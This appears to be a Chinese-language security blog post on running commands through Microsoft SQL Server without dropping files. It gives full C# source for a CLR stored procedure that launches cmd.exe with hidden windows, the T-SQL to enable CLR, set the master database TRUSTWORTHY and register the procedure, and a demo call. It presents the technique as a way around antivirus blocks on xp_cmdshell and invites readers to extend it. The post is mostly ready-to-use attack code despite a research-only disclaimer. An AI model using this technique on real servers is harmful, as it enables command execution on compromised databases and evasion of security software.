首页 利用MSSQL CLR 实现不落地命令执行
文章
取消

利用MSSQL CLR 实现不落地命令执行

0X00 前言

​ 在我们想要通过SQL Server来执行命令的时候,我们通常的做法是通过xp_cmdshellsp_OACreate来实现执行命令的需求,然而在某些条件下,我们在利用这两个存储过程的时候经常会遇到被查杀拦截等情况,这些情况导致我们无法达到我们执行的命令的需求,本文将介绍另外一种方法:利用SQL Server CLR来实现不落地执行命令的需求。

0X01 什么是CLR

​ CLR是微软的公共语言运行库,是 .NET Framework 的核心,为所有 .NET Framework 代码提供执行环境。 在 CLR 中运行的代码称为托管代码。 CLR 提供执行程序所需的各种函数和服务,包括实时 (JIT) 编译、分配和管理内存、强制类型安全、异常处理、线程管理和安全性。使用在 Microsoft SQL Server 中驻留的 CLR(称为 CLR 集成),可以在托管代码中编写存储过程、触发器、用户定义函数、用户定义类型和用户定义聚合。 由于托管代码在执行之前才编译为本机代码,因此在某些情形下可以大幅提高性能。

0X02 基于CLR的恶意dll

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void ExecCommand (string cmd)
    {
        SqlContext.Pipe.Send("Command is running, please wait.");
        SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
    }
    public static string RunCommand(string filename,string arguments)
    {
        var process = new Process();

        process.StartInfo.FileName = filename;
        if (!string.IsNullOrEmpty(arguments))
        {
            process.StartInfo.Arguments = arguments;
        }

        process.StartInfo.CreateNoWindow = true;
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.StartInfo.UseShellExecute = false;

        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.RedirectStandardOutput = true;
        var stdOutput = new StringBuilder();
        process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
        string stdError = null;
        try
        {
            process.Start();
            process.BeginOutputReadLine();
            stdError = process.StandardError.ReadToEnd();
            process.WaitForExit();
        }
        catch (Exception e)
        {
            SqlContext.Pipe.Send(e.Message);
        }

        if (process.ExitCode == 0)
        {
            SqlContext.Pipe.Send(stdOutput.ToString());
        }
        else
        {
            var message = new StringBuilder();

            if (!string.IsNullOrEmpty(stdError))
            {
                message.AppendLine(stdError);
            }

            if (stdOutput.Length != 0)
            {
                message.AppendLine("Std output:");
                message.AppendLine(stdOutput.ToString());
            }
            SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
        }
        return stdOutput.ToString();
    }
}

在编译的时候要注意这个地方选择生成.sql文件

同时要将权限级别改为UNSAFE,因为我们要调用外部程序,必须设置为UNSAFE才可以。

这段代码编译后会产生这几个文件

我们可以使用SQL Server来引用这个dll文件去执行命令,这种方式这里不加以赘述,这里将讨论无文件落地的命令执行。

0X03 无文件落地的命令执行

在SQL Server 2016以后,默认禁用了基于CLR的DLL文件,我们可以通过如下命令解除禁用

1
2
3
4
sp_configure 'clr enabled',1
GO
RECONFIGURE
GO

确认可信任关系

1
ALTER DATABASE master SET TRUSTWORTHY ON;

接下来我们需要用上述目录中生成的.sql文件中的一段代码来创建我们的存储过程

可见成功创建了一个clr的程序集,然后我们使用如下代码创建存储过程

1
2
3
4
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR(MAX)
AS EXTERNAL NAME [clr].[StoredProcedures].[ExecCommand]
go

可见成功创建了存储过程,然后执行命令

1
exec dbo.execcommand 'whoami'

0x04 小结

​ CLR的命令执行可以在一些情况下bypass杀软达到我们预期执行命令的需求,笔者在这里只是给出简单的demo代码,具体复杂的实现,读者可以自行研究,或可魔改或可直接使用这个项目实现其他功能。

注:本文仅用于安全研究和学习之用

本文由作者按照 CC BY 4.0 进行授权